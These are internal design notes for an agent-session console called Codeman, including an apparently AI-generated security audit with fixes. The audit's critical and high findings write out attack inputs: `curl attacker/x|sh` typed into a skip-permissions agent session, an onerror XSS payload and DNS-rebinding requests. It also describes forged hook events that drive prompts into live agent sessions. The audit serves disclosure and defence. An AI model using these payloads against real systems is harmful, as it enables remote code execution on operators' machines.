POST /api/orchestrator/pause — pause execution
POST /api/orchestrator/resume — resume execution
POST /api/orchestrator/stop — stop orchestration
GET /api/orchestrator/status — full state + plan + stats
GET /api/orchestrator/plan — plan details only
POST /api/orchestrator/phase/:id/skip — skip a phase
POST /api/orchestrator/phase/:id/retry — retry a failed phase
> Research doc for the new "Orchestrator Loop" feature. Not for GitHub.
## What We're Building
A new autonomous loop variant — **Orchestrator Loop** — that takes high-level user tasks, decomposes them into a detailed plan using team agents, and executes the plan step-by-step with quality gates. Unlike Ralph Loop (which executes a flat task queue), the Orchestrator coordinates **planning, delegation, and verification** as a continuous cycle.
**Core idea**: User inputs a goal → Orchestrator creates a detailed plan → spins up team agents for parallel execution → validates each step → adapts the plan based on results → delivers polished output.
- **Limitation**: Plan generation only — no execution. Plans are generated then sit in state/UI for human review
- **Key insight**: Uses `Session` directly to run Claude subagent instances for research and planning. Returns structured JSON
#### 4. Team Agents (`src/team-watcher.ts`, `~/.claude/teams/`)
- **Already has**: Team creation, member tracking, filesystem inbox messaging, task management via `~/.claude/tasks/{team-name}/`
- **Limitation**: Codeman can only *observe* teams (TeamWatcher is read-only polling), not *create* or *orchestrate* them
- **Key insight**: Teams are a Claude Code feature. Codeman monitors them but doesn't control them. We can't programmatically create teammates — Claude Code does that when you use `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
- **Key insight**: The `ralph-todo` preset (8s idle, 480min max) is designed for autonomous task execution. We'd need a new preset or make Orchestrator Loop set its own timing
- **Key insight**: Hooks fire POST to `/api/hook-event` — this is how Codeman knows when Claude is idle, stopped, or completed a task. The Orchestrator Loop can listen to these same events
### What We Need to Build New
1.**Plan → Task decomposition**: Convert PlanOrchestrator output (PlanItem[]) into executable task groups with phase ordering
2.**Multi-phase execution engine**: Execute plan phases sequentially, tasks within phases in parallel
3.**Verification gates**: After each phase, run verification (test commands, AI review) before proceeding
4.**Adaptive replanning**: When a task fails or verification fails, generate a recovery plan
5.**Team agent orchestration**: Leverage Claude Code's agent teams for parallel execution within phases
After deep research, here's the reality of agent teams:
```
User starts session with CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1
→ Claude Code creates a team-lead
→ Team-lead spawns teammates (in-process threads)
→ Teammates appear as subagents (detected by SubagentWatcher)
→ Communication via ~/.claude/teams/{name}/inboxes/{member}.json
→ Tasks tracked in ~/.claude/tasks/{team-name}/{N}.json
```
**Codeman cannot programmatically create team members.** This is a Claude Code internal feature. However, Codeman CAN:
- Start a session that has teams enabled
- Send a prompt to the lead that instructs it to use agent teams
- Monitor team activity via TeamWatcher
- React to teammate_idle and task_completed hook events
- Read team task status from the filesystem
**This means**: The Orchestrator Loop orchestrates at the *session prompt* level, not the *team member* level. We tell the lead what to do, and the lead decides how to use its team.
> below describes the pre‑fix v0.9.4 state.** Still open: **H2** (the self‑updater
> trusts an unsigned git tag — needs signing infra) and dropping CSP
> `'unsafe-inline'` (needs a nonce migration; H4's escaping already neutralises the
> known XSS). Per‑finding breakdown in the *Implementation status* section below;
> regression tests in `test/network-host-guard.test.ts`.
**Scope:** whole codebase (branch `master`, v0.9.4). Adversarial multi-agent review: 10 dimension specialists → diverse-lens skeptic verification of every finding (HIGH/CRITICAL got 3 independent refutation passes) → completeness-critic sweep. 47 raw findings → **25 survived verification** (+1 from the critic). 22 were refuted (mostly "already inside the OS trust boundary" same-uid claims and doc-accuracy nits). Several exploits were **confirmed live** with `curl` against throwaway test ports.
## TL;DR — the one thing that matters
The default, *documented-as-safe* configuration (loopback bind + no `CODEMAN_PASSWORD`) is **remotely exploitable to RCE by any website the operator merely visits.** Every session runs `--dangerously-skip-permissions`, so "send input to a session" == "run arbitrary shell as the operator." Two missing, standard controls cause almost all of the serious findings:
- **(A) No `Host`-header allowlist** → DNS-rebinding turns a malicious page into a same-origin client of `127.0.0.1`.
- **(B) No global Origin/CSRF check on state-changing routes, plus a global `text/plain` body parser** → a plain cross-site `fetch` (a CORS "simple request", no preflight) submits JSON to the API. Write-only access is enough for RCE.
Fix (A) + (B) + drop CSP `unsafe-inline` / escape the subagent panel, and the two CRITICALs and 5 of the 7 HIGHs collapse.
> Note: this is *not* a claim that the existing trust model is wrongly documented. `docs/security-architecture.md` is unusually honest. The problem is that the model assumes "loopback + no password" is safe against a browsing operator — and the browser (DNS rebinding + the text/plain parser) breaks that assumption.
---
## CRITICAL
### C1 — No `Host`-header allowlist → DNS rebinding → full API → RCE (default no-auth install)
A page on `evil.example` (DNS TTL≈1s) is loaded by the operator, then DNS is rebound to `127.0.0.1`. Subsequent `fetch('http://evil.example:3000/...')` are now **same-origin** with Codeman (so CORS never engages), and with no password there are no credentials to miss. The page does `POST /api/sessions {workingDir}` → reads the session id from the same-origin response → `POST /api/sessions/<id>/input {input:"curl attacker/x|sh\r"}`. Confirmed: `curl -H 'Host: attacker.evil.com' -X POST -d '{"workingDir":"/tmp"}' http://127.0.0.1:<port>/api/sessions` → `200`.
**Fix:** early `onRequest` hook (before routing) that rejects any request whose `Host` is not in `{localhost, 127.0.0.1, ::1, configured --host, CODEMAN_ALLOWED_HOSTS}` with `403`. This is *the* standard anti-rebinding control for localhost dev servers and the single highest-value fix.
### C2 — Global `text/plain` content-type parser JSON-parses every body → cross-site CSRF *without* rebinding
A global parser registered for `text/plain` runs `JSON.parse` on the body of **every** route. `text/plain` is a CORS *simple* content type, so a cross-origin `fetch(..., {method:'POST', headers:{'Content-Type':'text/plain'}, body:'{...}'})` reaches the handler **with no preflight**. SameSite=lax + reflected-CORS don't help: on the no-auth default there's no cookie to gate, and the side effect happens regardless of whether the attacker can read the response. Confirmed: cross-origin (`Origin: https://evil.com`) `POST /api/sessions` with `Content-Type: text/plain` → `200` (session created); same against `/input` parsed+validated the JSON body.
**Fix:** remove the global `text/plain` JSON parser (parse the one crash-diagnostics body inside its own handler), **and** add a global same-origin/CSRF guard on all non-GET routes (see H3). Combine with C1's Host allowlist so the host comparison itself can't be rebound.
`fetch('http://127.0.0.1:3000/api/system/update',{method:'POST',mode:'no-cors'})` from any page (no body, no preflight) kicks off the detached updater on a no-password install. On its own: forced pull/rebuild/restart (availability + forces the latest tag). Chained with H2: full RCE.
**Fix:** require Origin/CSRF on this route *independent of the password*; refuse self-update when no password is set; mint a confirmation token via a prior GET.
### H2 — Self-updater builds an **unsigned, unverified** git tag (no signature / commit pin) *(contested 2/3)*
`isValidReleaseTag` validates only the *tag name* (`^(codeman|aicodeman)@\d+\.\d+\.\d+$`) and version ordering — never the commit. Anyone who can push a `codeman@9.9.9` tag (or compromise release CI) gets `git checkout --force` + `npm install` (arbitrary lifecycle scripts) + build + restart, as the operator. One verifier refuted on the basis that the *trigger* is auth-gated when a password is set — true, but the default has no password and H1 supplies the trigger.
**Fix:** verify integrity, not just the name — GPG-signed tags (`git verify-tag` against a shipped maintainer key) or pin to a SHA published out-of-band; `npm ci --ignore-scripts` + an explicit audited build step; pin the remote to the expected GitHub repo.
### H3 — CSRF/Origin validation exists on exactly one route; the RCE-enabling routes have none
`src/web/routes/session-routes.ts:1570-1600` (only `paste-image` is protected) vs `:229` create, `:595` input, `:635` send-key, `:404` delete. Actor: A2. **3/3 confirmed.**
The team clearly knows the correct control (it's on `paste-image`) but didn't apply it broadly.
**Fix:** a shared `onRequest` guard for all non-GET API routes: `Origin`/`Referer` host ∈ Host allowlist **and**`Sec-Fetch-Site == same-origin`. Global, not per-route.
### H4 — Stored XSS in the subagent activity panel (raw AI tool name/inputs → `innerHTML`; `unsafe-inline` ⇒ executes)
`renderSubagentDetail()` sets `innerHTML` with un-escaped `a.tool`, `toolDetail.primary`, `displayText`. A subagent tool **name** (no length cap) or a short Bash command like `<img src=x onerror=...>` (28 chars, under the 100-char input truncation) is parsed as HTML in the operator's DOM; CSP `unsafe-inline` lets the `onerror` run → reads cookies, drives every same-origin API (i.e. types commands into a skip-permissions session), or hits the self-updater. `_renderActivityItem` is inconsistent: line 1404 escapes, line 1403 doesn't.
**Fix:**`escapeHtml()` those fields at the sink; and drop `unsafe-inline` from `script-src` (move inline handlers to `addEventListener`/nonce) so a missed escape can't execute.
### H5 — WebSocket terminal route has no Origin/Host check (CSWSH + rebinding → drives skip-permissions agent)
WS upgrades aren't subject to SOP; with no password and no Origin/Host check, a cross-site page (or rebound origin) opens `ws://host/ws/sessions/<id>/terminal` and sends `{"t":"i","d":"curl attacker/x|bash\r"}`.
**Fix:** validate `Origin` + `Host` on the upgrade, `socket.close(4003)` on mismatch (reuse the loopback-origin logic + the C1 Host allowlist).
### H6 — `PUT /api/settings {tunnelEnabled:true}` spawns a public cloudflared tunnel (CSRF/rebinding publishes the authless instance) *(completeness-critic find)*
`src/web/routes/system-routes.ts:523-535`. Actor: A2 ⇒ A1. **Confirmed; no CSRF on this route.**
If `cloudflared` is installed (the project encourages it), a cross-site `PUT` flips on a tunnel; the public `*.trycloudflare.com` URL is broadcast over SSE and exposed at `GET /api/tunnel/info` / `/api/tunnel/qr`. The attacker reads it → unauthenticated **internet** access to the skip-permissions API.
**Fix:** treat tunnel-start as privileged — CSRF/Origin check on `PUT /api/settings`; refuse to start a tunnel when `CODEMAN_PASSWORD` is unset; don't echo the public URL on unauthenticated endpoints.
### (H→operational) The no-password default *is* the unauthenticated RCE surface once reachable off-host *(contested 2/3)*
`src/web/middleware/auth.ts:45-46`. This is the *documented* trust boundary, so it's operational hardening rather than a code bug: on `--host 0.0.0.0`/LAN/tunnel without a password, any client `POST /input` → RCE. **Fix:** fail-closed (or auto-generate+print a random password) when binding non-loopback / starting a tunnel without one; constrain `workingDir` to an allowlist (cases dir / `$HOME`) to shrink blast radius.
---
## MEDIUM
| # | Finding | Location | Fix |
|---|---------|----------|-----|
| M1 | **Command injection via *discovered* tmux session name** — `muxName` taken verbatim from a live tmux session (only `startsWith('codeman-')` filtered), flows into double-quoted `execSync` in `sessionExists()`/`killSession()`**without**`isValidMuxName`. Reached on boot via `startInteractive→muxSessionExists`. Actor A4 (shared `tmux -L codeman` socket). | `src/tmux-manager.ts:925`, `:1065` | Convert these two sinks to argv form (`execFile('tmux',[...,'-t',muxName])`) like the others, **and/or** reject discovered names failing `SAFE_MUX_NAME_PATTERN` in `reconcileSessions()`. |
| M2 | **Forged hook events over a loopback-terminating tunnel** — `/api/hook-event` bypasses auth on loopback IP, but cloudflared/tailscale-serve connect *from*`127.0.0.1` (Fastify `trustProxy:false`). A forged `idle_prompt`/`stop` drives a respawn that injects the operator's update prompt + `/clear` + `/init` into a live skip-permissions session; forged `transcript_path` streams arbitrary readable files to SSE. The in-code comment "prevents forged hook events via tunnel/LAN" is **false**. *(contested 2/3; impact real)* | `src/web/middleware/auth.ts:83-90` | Gate the bypass on a per-boot shared secret in the hook curl (`X-Codeman-Hook-Secret`), not `req.ip`. Require a password when a tunnel is active. Reject `transcript_path` outside the session workingDir. Fix the comment. |
| M3 | **Session cookie binds nothing** — recorded `ip`/`ua` never enforced on reuse → stolen-cookie replay from anywhere; no absolute lifetime cap (refresh-on-get extends forever). | `src/web/middleware/auth.ts:102-106` | Compare `record.ip` (+ optional UA hash) on reuse; cap absolute session lifetime. |
| M4 | **Non-loopback bind w/o password starts and only warns** (0.9.0 warn-don't-block) → real A1 exposure on misconfig; warning is a one-time stderr line. | `src/web/server.ts:1708-1724`, `src/cli.ts:486-500` | Consider fail-closed default; at minimum log to `session-lifecycle.jsonl` + persistent UI banner. |
| M5 | **tail-file SSE route escapes the per-session boundary** — uses a *divergent* validator that `~`-expands and whitelists `/var/log` + `~/logs`, so an authorized caller streams files outside every session's workingDir (e.g. `/var/log/auth.log`). Doc overclaims "all file routes share `validateSessionFilePath`". | `src/web/routes/file-routes.ts:341`, `src/file-stream-manager.ts:400` | Route through `validateSessionFilePath()`, or drop the extra roots + `~` expansion; fix the doc. |
| M6 | **Session display name accepts arbitrary chars** (`z.string().max(100)`, no regex) — safe only by downstream escaping (which H4 shows isn't uniform). | `src/web/schemas.ts:135,138,384` | Strip control chars / angle brackets at the schema (defense-in-depth). |
| M7 | **Blind SSRF via attacker-supplied web-push endpoint**, triggerable through the loopback-exempt `/api/hook-event` (and via C2/CSRF). Stored endpoint URL is fetched server-side. | `src/web/server.ts:1630` (+ `src/push-store.ts`) | Allowlist known push-service hosts; reject endpoints resolving to loopback/private/link-local/169.254.169.254; re-check IP at send time (rebind-safe). |
---
## LOW / INFO (hardening)
- **L1** QR per-IP failure limiter + oldest-cookie eviction + body-less `/api/auth/revoke` → session/lockout DoS, all amplified behind a shared tunnel IP. `system-routes.ts:182-194`*(contested)*.
- **L2 / L3** CSP `script-src 'unsafe-inline'` (nullifies XSS defense-in-depth app-wide) + unused `https://cdn.jsdelivr.net` with no SRI. `auth.ts:170-176`*(contested; tie into H4 fix)*.
- **L4** `trustProxy:false` + loopback tunnels defeat the IP-based hook-event exemption (root cause of M2). `auth.ts:79-90`.
- **L6** Push subscription store has no cap → unbounded growth. `push-store.ts:70-95`.
- **L7** VAPID private key / state / settings / audit log written `0644` in a `775` data dir; the implied `0o700` hardening is a no-op. `config/instance.ts:54`*(contested — A4/same-host only)*.
- **L8** Unauthenticated `DELETE /api/sessions[/:id]` on the default install. `session-routes.ts:404`*(contested)*.
- **INFO** `docs/security-architecture.md:301` overclaims supply-chain hardening and omits the self-updater as a trust surface (see H1/H2).
---
## What's solid (credit where due)
The verifiers **refuted 22** candidate findings — the defenses below held under adversarial scrutiny:
- **Request-facing command injection is well defended.** Every shell-interpolated value from an HTTP route (`workingDir`, `model`, `allowedTools`, `effort`, `resumeSessionId`, OpenCode config, env-override key/value, span-displays URL, cloudflared port, update tag, tail path) is either argv-form (no shell) or allowlist-regex-validated at the sink. `muxName=codeman-<uuid8>` is server-generated. The only gap is the *discovered*-name path (M1).
- **Self-update command construction** is hardened (argv spawn, anchored `isValidReleaseTag`, double-quoted `$TAG`). The weakness is *integrity* (H2), not injection.
- **Input validation** funnels through Zod + `parseBody`; env-override allowlist enforces the `CLAUDE_CODE_`/`OPENCODE_` prefix **and** a `BLOCKED_ENV_KEYS` set (`PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, …) re-checked at apply time.
- **Auth pipeline internals** are competent: timing-safe Basic compare, 256-bit opaque server-side session tokens, rejection-sampled base62 QR codes over 256-bit tokens with single-use atomic consumption, `logger:false` (no credential logging).
- **Same-uid "attacks"** (tmux socket input injection, `/proc/<pid>/environ`, tmux `showenv` key disclosure) were refuted as already inside the OS trust boundary — a same-user process can already do anything to its peers.
---
## Implementation status (2026-06-09)
Priority fixes 1–3 + 5 landed in the same session (verified live with curl/ws against an isolated instance):
- ✅ **C1** — `Host`-header allowlist (`registerHostGuard` in `middleware/auth.ts`, policy in `network-auth-policy.ts`). Allows loopback/any-IP-literal/bind-host/`.ts.net`/`.trycloudflare.com`/`.cfargotunnel.com`/active-tunnel/`CODEMAN_ALLOWED_HOSTS`; rejects rebound custom domains.
- ✅ **C2** — global `text/plain` parser no longer JSON-parses (crash-diag self-parses); plus the global cross-site Origin guard.
- ✅ **H1, H3, H6** — global Origin/CSRF guard on all non-GET routes (covers self-update, session create/input, settings/tunnel).
- ✅ **H4** — escaped all AI-derived sinks in `panels-ui.js` (tool name, tool detail, toolUseId, displayText).
- ✅ **H5** — Origin/Host check on the WebSocket upgrade (`ws-routes.ts`).
- ⏳ **H2** — deferred: needs signed-tag infra (no maintainer key yet); `npm ci --ignore-scripts` would break node-pty's native build, so not applied blindly.
- ⏳ **CSP `unsafe-inline` removal** — deferred: inline `onclick=` handlers are pervasive; needs a nonce migration (H4's sink-escaping already neutralizes the known XSS).
Tests: `test/network-host-guard.test.ts` (19), `test/routes/ws-routes.test.ts` (22). Operational note: any custom reverse-proxy domain must be added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
2.**Remove the global `text/plain` JSON parser + add a global same-origin/CSRF guard** on all non-GET routes. → kills C2, H1, H3, H6; blunts M7. Reuse the `paste-image` pattern globally.
3.**Drop CSP `unsafe-inline` and `escapeHtml()` the subagent panel fields** (`panels-ui.js:808-811,1403`). → kills H4, closes L2/L3.
4.**Add tag-signature/commit verification to the self-updater** + `npm ci --ignore-scripts`. → kills H2.
5.**Validate Origin/Host on the WS upgrade** (`ws-routes.ts:62`). → kills H5.
6.**Refuse to start a tunnel / non-loopback bind without a password** (or auto-generate one). → closes the operational HIGH + M4 + H6's precondition.
*Generated by an automated adversarial multi-agent review (97 agents, ~4.8M tokens). Findings were independently verified but should be confirmed by a human before remediation; the live-confirmed exploits (C1, C2) are the highest-confidence items.*
**The security boundary is the network bind plus authentication — not the code Codeman
runs.** Because sessions launch with `--dangerously-skip-permissions`, the web UI is by
design a remote‑code‑execution surface for whoever is allowed to reach it. Everything
below exists to control *who* that is.
| Actor | Reaches the UI when… | Is granted |
|-------|----------------------|------------|
| Same‑machine user | Always (default loopback bind) | Full session control — the intended local‑use case. |
| Authenticated remote client | Tunnel/LAN reachability **and** a valid password or session cookie | Full session control. |
| Unauthenticated remote client | Only if you bind a non‑loopback host with no password | Full session control — the exact case every default and warning works to prevent. |
| Clients behind a loopback‑connecting tunnel | A reverse tunnel terminates on `127.0.0.1` | Inherit `req.ip = 127.0.0.1`, so they hit the localhost‑only exemptions (§3) unless a password is set. |
**Explicitly out of scope.** Codeman is access control for the operator console, not a
sandbox for the code that console runs. It does **not** defend against: a compromised
local user account (loopback is trusted), malicious contents in a workspace you
deliberately open, or the breadth of filesystem a session's `workingDir` is pointed at
| `CODEMAN_ALLOWED_HOSTS` | Extra `Host`/`Origin` allowlist entries for reverse proxies (comma‑separated; exact host, or leading‑dot `.suffix` for subdomains) — see §3 |
| `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK` | Acknowledge an unauthenticated non‑loopback bind (downgrades the warning) |
| `--https` | Enable TLS (adds HSTS) |
| `CODEMAN_INSTANCE` | Scope tmux socket + data dir for isolation |
| `CODEMAN_GESTURE=1` | Make the gesture overlay available (widens CSP) |
**Audit log:** session lifecycle and server start are recorded in
> **Status: IMPLEMENTED (2026-06-15, rev. 3) — Phases 1–3 shipped & verified; Phase 4 (live-transcript link) deferred.** A dedicated, opt-in **master-detail tab** (`showUltracodeAgents`, default OFF) shows ultracode/Workflow runs as Claude Code's "working agents" TUI: LEFT = runs + phases (selectable tasks), RIGHT = each run's agents with model, live state, **tokens burned**, and **tool calls**.
>
> ### What rev. 3 changed vs. rev. 2 (decided during implementation against on-disk truth)
> 1. **UI is a master-detail TAB, not grouped floating subagent windows.** The user asked for the CC "working agents" view (left task picker, right agent stats). Built as a new docked panel `#ultracodeAgentsPanel` (clones `.subagents-panel` master-detail CSS) + `src/web/public/ultracode-panel.js` — NOT via `openSubagentWindow`/grouped windows.
> 2. **STANDALONE — zero edits to `subagent-watcher.ts`.** w16-claudeman's commit `f6a30d7` already discovers the per-agent workflow *transcripts* (`watchWorkflowDirs`). The data the view needs (run/phase/per-agent tokens+toolCalls) lives in the *run-state* JSON, read by a brand-new `src/workflow-run-watcher.ts` (globs the disjoint `…/workflows/wf_*.json` tree). No shared files with w16.
> 3. **No per-agent transcript streaming needed for v1.** The run-state JSON already carries `tokens`/`toolCalls`/`state`/`label`/`phase` per agent, so the whole view reads from `wf_<runId>.json` alone. (Phase 4 will optionally link a card to its already-tracked transcript via `agentId` — no watcher edits.)
> 4. **Agent states are `start | progress | done`** (verified on disk) — NOT running/queued. `start`=queued (no agentId/tokens/toolCalls yet), `done` has `durationMs`/`resultPreview`.
> 5. **The run JSON's `script` (15–660KB embedded JS), `scriptPath`, `result`, `logs` are STRIPPED in the watcher** before caching/broadcast (a 28-agent run drops 174KB → ~25KB; `promptPreview`/`resultPreview` truncated).
> 6. **SSE/snapshot ship lightweight run SUMMARIES (no `agents[]`); the RIGHT pane fetches the full run** via `GET /api/workflows/:runId` on selection. (A 25-run snapshot is ~20KB vs ~900KB if it carried every agent.) The LEFT list shows ALL cached runs (LRU-bounded), not a recency window — a run browser must show past runs.
>
> _Original rev. 2 proposal (grouped floating windows, extending subagent-watcher) preserved below for context; superseded by the above._
### What changed in rev. 2 (vs. the first draft)
1.**No backend cross-watcher coupling.** The per-agent label/phase/agentType/state **join moves to the frontend at render time** — the run object already carries every agent's entry keyed by `agentId`. This deletes `subagent-watcher`'s backward dependency on `workflow-run-watcher` (`getAgentLabel()` + its TTL cache), removes the registration-vs-run-state **race** (labels always track the latest `workflow:run_updated`), and drops the per-agent `meta.json` read from the hot path.
2.**`SubagentInfo` grows by 2 fields, not 4** (`isWorkflowAgent`, `workflowRunId`) — both derivable from the file path alone at registration, zero extra I/O. `agentType`/`label`/`phase`/`state` come from the run object on the frontend.
3.**The `isInternalAgent` bypass covers BOTH drop sites** — `registerAgentFile`*and* the late re-resolution in `processEntry`. The first draft named only one.
4.**De-duplicated.** Each trap (`journal.jsonl`, the `projects/*/*/workflows` depth, the gate-mismatch lesson, reuse-not-rebuild) is stated once in its owning section.
### Code-reuse verified against the tree (2026-06-14)
The Workflow tool (what `ultracode` drives) persists each workflow agent as a transcript under the **same `subagents/` directory Codeman already watches**, one level deeper. Empirically verified against a real run (`wf_a8e09f2c-550`); **re-confirm the shape against a fresh run at implementation time** (§8 mandates a live e2e pass anyway):
Because the line shape is identical, the entire existing parse→event→render pipeline works unchanged once discovery reaches those files. The only new data is the **run-level metadata** in `workflows/wf_<runId>.json` (name, summary, phases, and `workflowProgress[]` — the per-agent labels/state/tools), which supplies the group header and per-agent labels.
**Can show:** per-agent live transcript (tool calls, messages, results); per-agent status (active/idle/completed via the existing mtime/PID/pgrep liveness); per-agent model + running token totals (from each agent's JSONL `message.usage`, exactly as today); the run's `workflowName`/`summary`/`phases[]`; per-agent `label`/`phaseTitle`/`state`/`lastToolName` (from `workflowProgress[]`); grouping under `wf_<runId>`.
**Cannot show:** anything absent from the artifacts — a live phase cursor beyond `workflowProgress[].state`; an authoritative **budget/cost ceiling** (only consumed totals exist — `usage` + run-state `totalTokens`, no remaining-budget field); runs older than `STARTUP_MAX_FILE_AGE_MS` (4h) after a server restart (live monitoring only).
## 2. Architecture
**Decision: EXTEND `subagent-watcher.ts` for per-agent discovery/streaming; ADD a thin `workflow-run-watcher.ts` (modeled on `team-watcher.ts`) for the group-header metadata ONLY. The agent→run-metadata join happens on the FRONTEND, so the two watchers stay decoupled.**
- The per-agent JSONL is identical in shape, so re-running it through `registerAgentFile()` → `tailFile()` → `processEntry()` and the existing `subagent:*` events is free and reconnect-safe (those agents land in `agentInfo`, replayed by `getRecentSubagents(15)`). A parallel per-agent watcher would duplicate the liveness/token/tool-call/SSE machinery for zero benefit.
- Run metadata lives in a *different* file under a *different* tree (`workflows/wf_<runId>.json`, sibling to `subagents/`). A small `WorkflowRunWatcher` watching `projects/*/*/workflows/wf_*.json` (mtime-skip, like `team-watcher`'s `configMtimes`) is the clean home; folding it into `subagent-watcher` would entangle two unrelated watch roots and put a JSON re-read in the hot per-line path.
- **The two watchers never call each other.** The frontend receives both streams and joins agent→label by `agentId` at render time (the run object carries every agent's entry). This removes the timing coupling entirely.
```
~/.claude/projects/<projHash>/<sessionUuid>/
├─ subagents/
│ ├─ agent-XX.jsonl ──────────────► SubagentWatcher (EXTENDED: also descends
panels-ui: partition this.subagents by workflowRunId; header + per-agent
labels JOINED from this.workflowRuns.get(runId).agents (by agentId)
```
## 3. Backend changes (ordered, file-by-file)
### 3a. `src/subagent-watcher.ts` — nested discovery + 2 tag fields
**(1) Extend `SubagentInfo` with exactly two optional fields** (optional → regular subagents and the wire shape are unaffected):
```ts
isWorkflowAgent?: boolean;// true when discovered under subagents/workflows/<wf_runId>/
workflowRunId?: string;// e.g. "wf_23dbeab2-152" (parent dir name)
```
Both are derived from the **file path alone** at registration — no extra reads. They ride existing `subagent:discovered|updated|completed` payloads (no new per-agent event). Do **not** add `agentType`/`label`/`phase`/`workflowName` here — those come from the run object on the frontend (§4c).
**(2) Constant.** `const WORKFLOWS_SUBDIR = 'workflows';` near the existing dir constants.
**(3) `watchSubagentDir()` — descend into `workflows/<wf_runId>/`.** After the existing direct-child registration loop:
```ts
// Workflow agents live one level deeper: subagents/workflows/<wf_runId>/agent-*.jsonl
}catch{/* no workflows subdir — normal for most sessions */}
```
The existing `fs.watch(dir, …)` on `subagents/` is **non-recursive on Linux** and won't fire for writes inside `workflows/<runId>/`, so each run dir needs its own watcher.
- Register only files matching `^agent-.*\.jsonl$`, **explicitly skipping `journal.jsonl`** (it ends in `.jsonl` but is `{type:'started',…}`, not a transcript — registering it would create a phantom agent).
- Call `registerAgentFile(filePath, projectHash, sessionId, isInitialScan, runId)` so the agent is tagged.
- Install one `watch(runDir, …)` per run dir; on `error` and `stop()`, reuse the existing teardown (close + delete from `dirWatchers`/`knownSubagentDirs`/`dirWatcherErrorHandlers`).
- Guard re-registration **per run dir** in `knownSubagentDirs`, **not**`wfRoot` — the 5s full scan must still re-`readdir(wfRoot)` to pick up *new*`wf_<runId>` dirs created mid-session.
**(5) `registerAgentFile()` — accept + apply `runId`.** Add a trailing optional `runId?: string`. When set, the whole change is:
No `meta.json` read, no run-state lookup, no description override. `agentId`s are globally unique `a<16hex>` (verified: 0 collisions across a 370-agent corpus), so keep the flat `agentInfo` map keyed by `agentId` — do **not** switch to a composite key. Add a one-line dev-assert log if `agentInfo.has(agentId)` with a *different*`workflowRunId`, so a future collision is observable.
**(6) `isInternalAgent` bypass — BOTH drop sites.** Workflow agents have no Task-tool spawn record, so `_resolveDescription` yields only the first-user-message fallback (often a long phase prompt) or empty → `isInternalAgent` (`length < MIN_DESCRIPTION_LENGTH`) would wrongly drop them. They are real by construction (the `subagents/workflows/wf_*/` path is the discriminator). Gate the drop on `!info.isWorkflowAgent` at **both** places:
-`processEntry`'s late re-resolution (the second `isInternalAgent` call).
**(7) `stop()` teardown.** Per-run watchers live in `dirWatchers`, so the existing close-all loop covers them — verify no separate map was introduced (24h runs spawn many `wf_<runId>` dirs → FSWatcher leak risk).
### 3b. NEW `src/workflow-run-watcher.ts` (singleton, EventEmitter — model on `team-watcher.ts`)
- **Watch root:** `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json` — **two** levels under `projects` (verified: `projects/*/workflows` is empty; must be `projects/*/*/workflows/`). chokidar `depth:3` + a poll fallback, mirroring `team-watcher`'s dual discovery + interval.
- **Parse:** read `wf_<runId>.json`, take the **top-level structured keys** (`runId`, `workflowName`, `summary`, `status`, `phases:[{title,detail}]`, `agentCount`, `defaultModel`, `durationMs`, `totalTokens`, `totalToolCalls`, `workflowProgress[]`). **Do NOT parse the embedded `script` string** — name/phases/summary are already top-level; the script's `export const meta` is redundant and costly. Derive `sessionUuid` from the dir name, `projectHash` from the dir above; expose `getProjectHash(workingDir)` for Codeman-session correlation.
- **`workflowProgress[] → agents[]`:** filter `type === 'workflow_agent'`, map each to a `WorkflowAgentEntry` (§3c) keyed by `agentId`. **This array is the join source the frontend uses** — no backend `getAgentLabel()` API, no TTL cache, no import from `subagent-watcher`.
- **Emit** `workflow:run_discovered|updated|removed` carrying `WorkflowRunInfo`; removal by set-diff (mirror `team-watcher`).
- **Lifecycle:** `start()`/`stop()` with `CleanupManager` teardown of chokidar + interval + caches; `LRUMap`-bounded run cache (24h memory rule).
### 3c. `src/types/` — workflow run types
```ts
exportinterfaceWorkflowAgentEntry{// one workflowProgress[type==='workflow_agent']
The two `SubagentInfo` workflow fields stay inline in `subagent-watcher.ts` (matching the existing convention).
### 3d. `src/web/sse-events.ts` — register run events
Add `workflow:run_discovered`, `workflow:run_updated`, `workflow:run_removed` after the `subagent:*` block and to the `SseEvent` union. **No new per-agent event** — workflow agents reuse `subagent:*`.
- **`setupWorkflowRunWatcherListeners()`** (beside `setupSubagentWatcherListeners`): map the three run events → `this.broadcast(...)`. Add `cleanupWorkflowRunWatcherListeners()` (store handler refs).
- **Start/stop:** call `workflowRunWatcher.start()`/`.stop()` beside `subagentWatcher`, **gated on the same enable condition** (§3f).
- **`getLightState()`:** add `workflowRuns: workflowRunWatcher.getRecentRuns(15)` beside `subagents: subagentWatcher.getRecentSubagents(15)` so headers replay on reconnect (agents already replay via `subagents`). Keep the `LIGHT_STATE_CACHE_TTL_MS` memoization.
- **Gating read:** add `isWorkflowAgentTrackingEnabled()` mirroring `isSubagentTrackingEnabled()` (boot-time `dataPath('settings.json')` read). Gate `workflowRunWatcher.start()`**and** the subagent-watcher `workflows/` descent (§3a-3) on `showUltracodeAgents` so non-opted-in users never register historical workflow agents.
### 3f. `src/web/schemas.ts` — settings key
Add `showUltracodeAgents: z.boolean().optional()` to the `.strict()` settings update schema near `showPlanUsageLimits` (required — `.strict()` 400s the whole PUT on an unknown key).
### 3g. `src/web/routes/system-routes.ts` — poll API
-`GET /api/subagents` and `GET /api/sessions/:id/subagents` include workflow agents once registered — **no change** (they carry `isWorkflowAgent`/`workflowRunId`; a consumer joins to `/api/workflows/:runId` for labels).
- Add `GET /api/workflows` → `workflowRunWatcher.getRecentRuns()` and `GET /api/workflows/:runId` (uniform `ApiResponse` contract; headers are also in `getLightState`).
-`GET /api/subagents/:agentId/transcript` works for workflow agents (they're in `agentInfo`) — no new route.
## 4. Frontend changes (file-by-file)
### 4a. `src/web/public/constants.js`
- Add the three SSE strings to `SSE_EVENTS`, matching §3d exactly (`WORKFLOW_RUN_DISCOVERED: 'workflow:run_discovered'`, etc.).
- Reuse `ZINDEX_SUBAGENT_BASE=1000` for the agent windows (they ARE subagent windows). The group **header/cluster** is in-flow panel DOM, not a floating window — no new z-index (1100 is plan-subagent).
- **No change to `_onSubagentDiscovered/Updated`** — they already store the whole payload, so the 2 new fields ride along.
